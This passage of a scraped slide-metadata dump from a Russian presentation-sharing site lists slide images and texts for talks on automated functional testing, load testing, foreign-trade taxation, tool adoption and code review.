"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img11.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img12.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img13.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img14.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img15.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img16.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img17.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №18"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img18.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №19"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img19.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №20"
}
] |
https://mypresentation.ru/presentation/99618 | Организация тестового набора при автоматизированном функциональном тестировании Мария Колчинская. Xored Software | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img0.jpg",
"description": "Организация тестового набора при автоматизированном функциональном тестировании Мария Колчинская. Xored Software"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img1.jpg",
"description": "Содержание Кто мы, что и с помощью чего тестируем Цели автоматизации функционального тестирования Проблемы анализа результатов тестирования Требования к отдельному тесту. Запись теста Требования к организации тестового набора Достоверность получаемого результата Итог работы"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img2.jpg",
"description": "Xored Software Российская компания, созданная с нуля в Новосибирском Академгородке. Занимается созданием средств разработки и продуктов на основе технологии Eclipse Одно из направлений – разработка систем моделирования для компаний телекоммуникационного сектора (Cisco Systems, British Telecom) Cобственная разработка – средство автоматизации функционального тестирования Q7"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img3.jpg",
"description": "Тестируемое приложение Eclipse Tigerstripe – приложение для моделирования – создания UML диаграмм и кода на их основе. Создано на платформе Eclipse Содержит большое количество диаграмм и взаимосвязей между объектами В данный момент все функциональные тесты приложения автоматизированы и встроены в систему непрерывной интеграции Atlassian Bamboo"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img4.jpg",
"description": "Инструмент тестирования Q7 – приложение для автоматизации функционального тестирования Создано на платформе Eclipse и для тестирования Eclipse приложений Поддерживает работу с графическими элементами Обеспечивает встраивание тестов в систему непрерывной интеграции"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img5.jpg",
"description": "Цели автоматизации тестирования Получение информации о качестве продукта при каждой сборке приложения Сокращение трудозатрат на тестирование"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img6.jpg",
"description": "Шаги автоматизации тестирования Сформировать базу сценариев работы пользователя с приложением На основе сценариев создать автоматизированные тесты для покрытия основной функциональности приложения. Тесты полностью повторяют действия пользователя через UI Встроить тесты в систему непрерывной интеграции. В результате тесты будут выполняться при каждой сборке приложения на всех указанных платформах"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img7.jpg",
"description": "Отчет о результатах тестирования Вид страницы с отчетом о результате тестирования: Test Summary 384 tests in total. 1 New Failures; 1 Existing Failures; 6 Fixed Tests New Test Failures (1): UpdateLiteralValue View Job: Q7 win32 Duration: 15 secs testcase: Execution failed on line 38 at column 1 (UpdateLiteralValue) Caused by: The Window \"Save Enumeration\" could not be found. [get-window \"Save Enumeration\"] Information: gef.editparts (1175 more lines...) Existing Test Failures (1): AddRemoveAnnotationDiagramAttribute View Job: Q7 win32 Duration: 4 secs Failing Since Build: #64"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img8.jpg",
"description": "Анализ результатов тестирования При просмотре отчета невозможно указать шаг, который привел к падению теста. В итоге сложно быстро локализовать проблему Падение теста может быть вызвано не только проблемой в приложении, но и проблемой инструмента тестирования либо самого теста"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img9.jpg",
"description": "Требования к отдельному тесту Чем меньше тест, тем проще локализовать проблему Необходимо отделить шаги по подготовке среды тестирования от шагов самого теста Результаты предыдущих тестов не должны влиять на результат выполняемого теста"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img10.jpg",
"description": "Структура теста Precondition – подведение системы к состоянию, пригодному для тестирования Steps (Test) – непосредственное проведение теста Post Condition – удаление данных, созданных в процессе выполнения скрипта"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img11.jpg",
"description": "Структура автоматизированного теста Каждый тест обязательно разделяется на 2 части: Context – отдельный скрипт (либо файлы контекста Eclipse), который удаляет все изменения, оставшиеся в результате предыдущих действий и подготавливает условия для теста Сценарий – отдельный скрипт с записью шагов теста"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img12.jpg",
"description": "Преимущества Информация о локализации проблемы (и возможном шаге) появляется уже при беглом просмотре отчета Исключаются ошибки влияния результатов предыдущего теста Появляется возможность переиспользования скриптов (либо файлов) контекста для подготовки предварительный условий в разных тестах. Это ускоряет работу по созданию тестов"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img13.jpg",
"description": "Требования к организации тестов Максимальный отказ от ручных тестов Тестовая база для всего приложения Тесты на новую функциональность Отдельный тест на каждый тестовый случай Отдельный тест на каждый баг в системе, полученный от заказчика (для теста создается «метка» для привязки к участку функциональности)"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img14.jpg",
"description": "Достоверность получаемого результата Тесты, которые дают ложный результат из-за проблем инструмента тестирования либо неактуальности самого теста, неинформативны и искажают общую картину. Для того чтобы получать достоверный результат тестирования и не отказываться от созданных тестов, было решено разделить тестовые наборы на две части: Stable test set Unstable test set"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img15.jpg",
"description": "Достоверность получаемого результата Stable set – тесты, выполняемые при каждой сборке приложения. Падение каждого такого теста означает наличие ошибки в приложении (в крайнем случае – необходимости актуализировать тест) Unstable set – тесты, исключенные из набора из-за ложных результатов, обычно из-за ошибок системы автоматизации. По мере исправления ошибок, тесты перемещаются в основной набор"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img16.jpg",
"description": "Достоверность получаемого результата В случае падения теста из-за проблемы с самом тесте, тест быстро актуализируется (до следующей сборки). В крайнем случае, если требуется больше времени для обновления теста, он перемещается в unstable set. Тесты из «нестабильного» набора необходимо выполнять вручную"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img17.jpg",
"description": "Итог организации тестового набора На основе сценариев действий пользователя создана база автоматизированных тестов для покрытия основной функциональности приложения. Благодаря небольшим размерам тестов, принципу «1 тест на 1 тестовый случай» и выделенным в отдельный файл предусловиям, при падении теста: легко локализовать участок функциональности даже при просмотре отчета о результатах. Шаги, которые привели к ошибке, легко воспроизвести вручную результат одного теста не влияет на результаты последующих тестов"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img18.jpg",
"description": "Итог организации тестового набора Вынесение предусловий в отдельный файл, который можно использовать в нескольких тестах, упрощает процесс подготовки тестов и их поддержку в актуальном состоянии Запуск только стабильных тестов несколько уменьшает покрытие, зато обеспечивает достоверность результатов"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/ec35e4b4fe7dfd51c86872271040ccb4/img19.jpg",
"description": "Спасибо за внимание!"
}
] |
https://mypresentation.ru/presentation/99619 | Нагрузочное тестирование | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img0.jpg",
"description": "Нагрузочное тестирование"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img1.jpg",
"description": "Глобальная цель тестирования"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img2.jpg",
"description": "Определение"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img3.jpg",
"description": "Основные параметры Пропускная способность (throughput)"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img4.jpg",
"description": "Определение целей Разработчики Тестировщики Системные администраторы Конечные пользователи"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img5.jpg",
"description": "Выбор инструмента Написание сценариев (с поддержкой zkoss) Управление тестированием Генератор нагрузки Анализ результатов"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img6.jpg",
"description": "Пример POST-запроса Пример POST-запроса"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img7.jpg",
"description": "Выбор инструмента HP LoadRunner Virtual User Generator LoadRunner Analysis LoadRunner Controller Load Generator"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img8.jpg",
"description": "Load Generator"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img9.jpg",
"description": "Пример инфраструктуры"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img10.jpg",
"description": "Virtual User Generator"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img11.jpg",
"description": "Virtual User Generator"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img12.jpg",
"description": "LoadRunner Controller"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img13.jpg",
"description": "LoadRunner Analysis"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img14.jpg",
"description": "Отчет 1. Throughput"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img15.jpg",
"description": "Отчет 1. Response Time"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img16.jpg",
"description": "Отчет 1. Response/Throughput"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img17.jpg",
"description": "Возможные источники проблем"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img18.jpg",
"description": "Отчет 1. Response/Throughput"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img19.jpg",
"description": "Отчет 2. Throughput"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img20.jpg",
"description": "Отчет 2. Response Time"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img21.jpg",
"description": "Отчет 3. Response/Throughput"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img22.jpg",
"description": "Итог"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/27cbcb43d25cc9d716c82bc2324c4399/img23.jpg",
"description": "Нагрузочное тестирование, слайд №24"
}
] |
https://mypresentation.ru/presentation/9961 | Налогообложение предприятий, осуществляющих внешнеэкономическую деятельность . __ | Экономика и Финансы | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/df85c41ccf3116396c240ed5048deaea/img0.jpg",
"description": "Налогообложение предприятий, осуществляющих внешнеэкономическую деятельность ."
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/df85c41ccf3116396c240ed5048deaea/img1.jpg",
"description": "Внешнеэкономическая деятельность организаций связана с перемещением товаров через таможенную границу Российской Федерации, приобретением или продажей за рубеж товаров, услуг, работ, результатов интеллектуальной деятельности. Внешнеэкономическая деятельность организаций связана с перемещением товаров через таможенную границу Российской Федерации, приобретением или продажей за рубеж товаров, услуг, работ, результатов интеллектуальной деятельности."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/df85c41ccf3116396c240ed5048deaea/img2.jpg",
"description": "Ввозимые на территорию Российской Федерации товары должны соответствовать техническим, фармакологическим, санитарным, ветеринарным, фитосанитарным и экологическим стандартам и требованиям, установленным в Российской Федерации Ввозимые на территорию Российской Федерации товары должны соответствовать техническим, фармакологическим, санитарным, ветеринарным, фитосанитарным и экологическим стандартам и требованиям, установленным в Российской Федерации"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/df85c41ccf3116396c240ed5048deaea/img3.jpg",
"description": "Перемещение товаров и транспортных средств через таможенную границу Российской Федерации производится в соответствии со следующими таможенными режимами:"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/df85c41ccf3116396c240ed5048deaea/img4.jpg",
"description": "Осуществление внешнеэкономической деятельности организации сопряжено с появлением в учете имущества и обязательств, стоимость которых выражена в иностранной валюте. Активы и обязательства, стоимость которых выражена в иностранной валюте, учитываются и облагаются налогами в общем порядке. Осуществление внешнеэкономической деятельности организации сопряжено с появлением в учете имущества и обязательств, стоимость которых выражена в иностранной валюте. Активы и обязательства, стоимость которых выражена в иностранной валюте, учитываются и облагаются налогами в общем порядке. В целях налогообложения участникам внешнеэкономической деятельности следует обращать внимание лишь на особенности формирования налоговой базы в отношении курсовых и суммовых разниц, а также расходов налогоплательщика, связанных с покупкой иностранной валюты по курсу выше курса Банка России."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/df85c41ccf3116396c240ed5048deaea/img5.jpg",
"description": "- в виде положительной (отрицательной) курсовой разницы, образующейся вследствие отклонения курса продажи (покупки) иностранной валюты от официального курса, установленного Банком России на дату перехода права собственности на иностранную валюту; - в виде положительной (отрицательной) курсовой разницы, образующейся вследствие отклонения курса продажи (покупки) иностранной валюты от официального курса, установленного Банком России на дату перехода права собственности на иностранную валюту; - в виде положительной курсовой разницы, возникающей от переоценки имущества в виде валютных ценностей и требований (обязательств), стоимость которых выражена в иностранной валюте, в том числе по валютным счетам в банках, проводимой в связи с изменением официального курса иностранной валюты к рублю Российской Федерации, установленного Банком России. При этом положительной курсовой разницей в целях гл.25 НК РФ признается курсовая разница, возникающая при дооценке имущества в виде валютных ценностей и требований, выраженных в иностранной валюте, либо при уценке выраженных в иностранной валюте обязательств; - в виде суммовой разницы, возникающей у налогоплательщика, сумма возникших обязательств и требований, исчисленная по установленному соглашением сторон курсу условных денежных единиц на дату реализации (оприходования) товаров (работ, услуг), имущественных прав, не соответствует фактически поступившей (уплаченной) сумме в рублях."
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/df85c41ccf3116396c240ed5048deaea/img6.jpg",
"description": "В соответствии со ст.265 НК РФ внереализационными расходами налогоплательщика признаются: - расходы в виде отрицательной курсовой разницы, возникающей от переоценки имущества в виде валютных ценностей и требований (обязательств), стоимость которых выражена в иностранной валюте, в том числе по валютным счетам в банках, проводимой в связи с изменением официального курса иностранной валюты к рублю Российской Федерации, установленного Банком России. Отрицательной курсовой разницей считается курсовая разница, возникающая при уценке имущества в виде валютных ценностей и требований, выраженных в иностранной валюте, или при дооценке обязательств, выраженных в иностранной валюте; - расходы в виде суммовой разницы, возникающей у налогоплательщика, если сумма обязательств и требований, исчисленная по установленному соглашением сторон курсу условных денежных единиц на дату реализации (оприходования) товаров (работ, услуг), имущественных прав, не соответствует фактически поступившей (уплаченной) сумме в рублях; - расходы в виде отрицательной (положительной) разницы, образующейся вследствие отклонения курса продажи (покупки) иностранной валюты от официального курса Банка России, установленного на дату перехода права собственности на иностранную валюту."
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/df85c41ccf3116396c240ed5048deaea/img7.jpg",
"description": "Согласно ст.326 НК РФ при совершении срочных сделок, предусматривающих куплю-продажу иностранной валюты, либо драгоценных металлов, либо ценных бумаг, номинированных в иностранной валюте, налогоплательщик на дату исполнения сделки определяет доходы (расходы) с учетом курсовых разниц, определяемых как разница между курсом исполнения сделки и установленных Банком России курсом валют и официальных цен на драгоценные металлы на дату исполнения сделки. Согласно ст.326 НК РФ при совершении срочных сделок, предусматривающих куплю-продажу иностранной валюты, либо драгоценных металлов, либо ценных бумаг, номинированных в иностранной валюте, налогоплательщик на дату исполнения сделки определяет доходы (расходы) с учетом курсовых разниц, определяемых как разница между курсом исполнения сделки и установленных Банком России курсом валют и официальных цен на драгоценные металлы на дату исполнения сделки."
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/df85c41ccf3116396c240ed5048deaea/img8.jpg",
"description": "Еще один налог, базой для исчисления которого является выручка от реализации, - НДС. В связи с расчетом и уплатой НДС возникает вопрос учета суммовых разниц в составе выручки от реализации, подлежащей налогообложению. Здесь следует руководствоваться положениями гл.21 НК РФ и разъяснениями, данными ФНС. Еще один налог, базой для исчисления которого является выручка от реализации, - НДС. В связи с расчетом и уплатой НДС возникает вопрос учета суммовых разниц в составе выручки от реализации, подлежащей налогообложению. Здесь следует руководствоваться положениями гл.21 НК РФ и разъяснениями, данными ФНС. В соответствии с п.2 ст.153 НК РФ выручка от реализации товаров (работ, услуг) определяется исходя из всех доходов налогоплательщика, связанных с расчетами по оплате указанных товаров (работ, услуг). В то же время согласно п.4 ст.166 НК РФ общая сумма НДС, подлежащая уплате в бюджет, исчисляется по итогам каждого налогового периода, с учетом всех изменений, увеличивающих или уменьшающих налоговую базу в соответствующем налоговом периоде."
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/df85c41ccf3116396c240ed5048deaea/img9.jpg",
"description": "В связи с вышеизложенным в случае если по условиям договора оплата товаров (работ, услуг) производится в рублях в сумме, эквивалентной сумме в иностранной валюте (условных денежных единицах), то при принятой для целей налогообложения учетной политике «по отгрузке» ранее начисленные суммы НДС корректируются продавцом на основании фактически полученной выручки от реализации товаров (работ, услуг), то есть с учетом суммовых разниц. В связи с вышеизложенным в случае если по условиям договора оплата товаров (работ, услуг) производится в рублях в сумме, эквивалентной сумме в иностранной валюте (условных денежных единицах), то при принятой для целей налогообложения учетной политике «по отгрузке» ранее начисленные суммы НДС корректируются продавцом на основании фактически полученной выручки от реализации товаров (работ, услуг), то есть с учетом суммовых разниц."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/df85c41ccf3116396c240ed5048deaea/img10.jpg",
"description": "Налогообложение предприятий, осуществляющих внешнеэкономическую деятельность . __, слайд №11"
}
] |
https://mypresentation.ru/presentation/99620 | Выбор и внедрение инструмента С чего начать? Николаева Оля, Актив, 2011 | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img0.jpg",
"description": "Выбор и внедрение инструмента С чего начать? Николаева Оля, Актив, 2011"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img1.jpg",
"description": "Цель доклада"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img2.jpg",
"description": "Время перемен Доработались до того, что нужен инструмент Вас попросили заняться поиском и внедрением инструмента в команде"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img3.jpg",
"description": "Цель"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img4.jpg",
"description": "Упование на инструмент « Вот как только у нас будет инструмент для этого – сразу [вписать нужное] станут нормальными. »"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img5.jpg",
"description": "Плохая цель Неизмерима Недостижима Не учитывает текущего состояния Не связана с объектом изменений (решается не в инструментальной области) … еще очень много определений (см. целеполагание) Например: тестировщики будут лучше работать* *и никаких пояснений"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img6.jpg",
"description": "Хорошая цель Пример: Для регулирования Test Scope* * Нужна возможность размечать баги по месту обнаружения – в Scope или не в Scope они были найдены. Для того чтобы отслеживать места вне Scope, по которым находится много репортов от пользователей. Для последующего включения их в Scope. Что сократит количество обнаруживаемых не нами багов и даст ощущение более качественного продукта."
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img7.jpg",
"description": "Что нужно узнать Что есть сейчас Чем именно не устраивает Как должно быть, когда устраивает Как результат – список вещей, которые следует сделать, чтобы «не устраивает» превратилось в «устраивает». То есть План™"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img8.jpg",
"description": "Пример с кофе [Что есть] молотый кофе и турка. За чашечкой кофе выстраивается очередь. [Что не устраивает] Очень сложно дождаться, пока освободится турка и сварится ваше кофе [Как должно быть] Свою чашечку кофе хочется сразу, без ожидания, отмывания плиты и турки."
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img9.jpg",
"description": "Пикантные подробности"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img10.jpg",
"description": "План – это текучая вещь Если вы внедряетесь поэтапно, то проверяйте валидность планов и ожиданий на каждом этапе."
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img11.jpg",
"description": "Предварительное информирование Это вежливо! (и возможно вы узнаете много нового)"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img12.jpg",
"description": "Что должно быть готово для поддержки Первая линия поддержки – руководитель. Вторая линия – саппорт. Третья линия – администратор, который может подкрутить инструмент на лету."
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img13.jpg",
"description": "Обучение и справки Рассказывайте по процессу который вы автоматизируете!"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img14.jpg",
"description": "Пилотный запуск"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img15.jpg",
"description": "Ходоки"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img16.jpg",
"description": "А потом Поддержка и обучение Сбор информации об ожиданиях и новых потребностях Корректировка полета Корректировка плана Повторить для следующего этапа "
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/d6efb5e8bf987f8db9430951cf06bcc7/img17.jpg",
"description": "Вопросы"
}
] |
https://mypresentation.ru/presentation/99621 | «Code review как средство обеспечения качества программного обеспечения» Надежда Кобозева. КРОК Инкорпорейтед | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/880eba66a605696fc5b08f2341b2b95f/img0.jpg",
"description": "«Code review как средство обеспечения качества программного обеспечения» Надежда Кобозева. КРОК Инкорпорейтед"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/880eba66a605696fc5b08f2341b2b95f/img1.jpg",
"description": "Code review.Что же это такое?? Инспекция кода или рецензия кода или ревизия кода (от англ.Code review) — систематическая проверка исходного кода программы с целью обнаружения и исправления ошибок, которые остались незамеченными в начальной фазе разработки."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/880eba66a605696fc5b08f2341b2b95f/img2.jpg",
"description": "«Зачем?!» Цели внедрения процесса: унифицировать код; обучить новичков; ускорить тестирование; найди и уничтожить ошибки там, где они живут; разъяснение кода гарантирует его понимание; уменьшить риск выбиться из графика, потому что качество продукта растет с каждой завершенной фазой проекта; выявить синтаксические ошибки, которые компиляторы не могут отследить;"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/880eba66a605696fc5b08f2341b2b95f/img3.jpg",
"description": "Что такое «хорошо» и что такое «плохо»? Для качественного построения процесса тестирования, правила рецензирования кода следует унифицировать! Code Review Checklist Очень индивидуален для каждого проекта, НО! Выделим базовые контрольные точки: Поиск уязвимостей Поиск синтаксических ошибок Поиск утечки ресурсов Контроль структуры Комментарии"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/880eba66a605696fc5b08f2341b2b95f/img4.jpg",
"description": "Кому доверить процесс? Каждый проект по-своему подходит к ревизиям: используются различные инструменты, различные процедуры, в приоритет ставятся различные цели. Возможные схемы процесса: 1. По времени До check-in – a После сheck-in –а 2. По ответственному за процесс: Ответственный ведущий разработчик Распределенная схема рецензирования между разработчиками Ответственный ведущий тестировщик"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/880eba66a605696fc5b08f2341b2b95f/img5.jpg",
"description": "1. Ведущий разработчик ревьюит"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/880eba66a605696fc5b08f2341b2b95f/img6.jpg",
"description": "2. Друг за другом Преимущества: Полная взаимозаменяемость Единообразие кода Обучение Недостатки «Если мой коллега пишет такой ужасный код, зачем и мне стараться»"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/880eba66a605696fc5b08f2341b2b95f/img7.jpg",
"description": "Инструменты для организации процесса анализа кода Сводят к минимуму хлопоты по организации, отслеживанию, подведению итогов и отчетности. Открытые решения: Codestriker (David Sitsky) Review Board (Beanbag, Inc.) Rietveld (Google) Платные продукты: Code Collaborator (SmartBear Software) Crucible (Atlassian)"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/880eba66a605696fc5b08f2341b2b95f/img8.jpg",
"description": "3. Тестировщики! Преимущества: разработчики стараются писать качественнее; знание кода. Проще локализовать ошибку, проще читать логи; сокращение времени тестирования; Недостатки: - технический уровень тестировщика; - знание кода может помешать найти ошибки."
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/880eba66a605696fc5b08f2341b2b95f/img9.jpg",
"description": "Легко отловим рецензированием ошибки форматирования строк; состояние гонки; утечка памяти; переполнение буфера."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/880eba66a605696fc5b08f2341b2b95f/img10.jpg",
"description": "Инструменты для статического анализа кода. StyleCop"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/880eba66a605696fc5b08f2341b2b95f/img11.jpg",
"description": "Инструменты для статического анализа кода. NDependent"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/880eba66a605696fc5b08f2341b2b95f/img12.jpg",
"description": "Спасибо за внимание! Кобозева Надежда Компания КРОК E-mail: [email protected]"
}
] |
https://mypresentation.ru/presentation/99622 | Давайте, давайте, давайте бороздить просторы вселенной! | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img0.jpg",
"description": "Давайте, давайте, давайте бороздить просторы вселенной!"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img1.jpg",
"description": "Хочется… User account Checkout Wish-list Promotions Gift Certificates"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img2.jpg",
"description": "Ожидания по уровню качества"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img3.jpg",
"description": "Если, то… все гайки, винтики, болтики и шпунтики качественные… + и их сборка будет качественной = Итоговый агрегат получится качественным"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img4.jpg",
"description": "Если, то… все гайки, винтики, болтики и шпунтики качественные… + и их сборка будет качественной = Итоговый агрегат получится качественным"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img5.jpg",
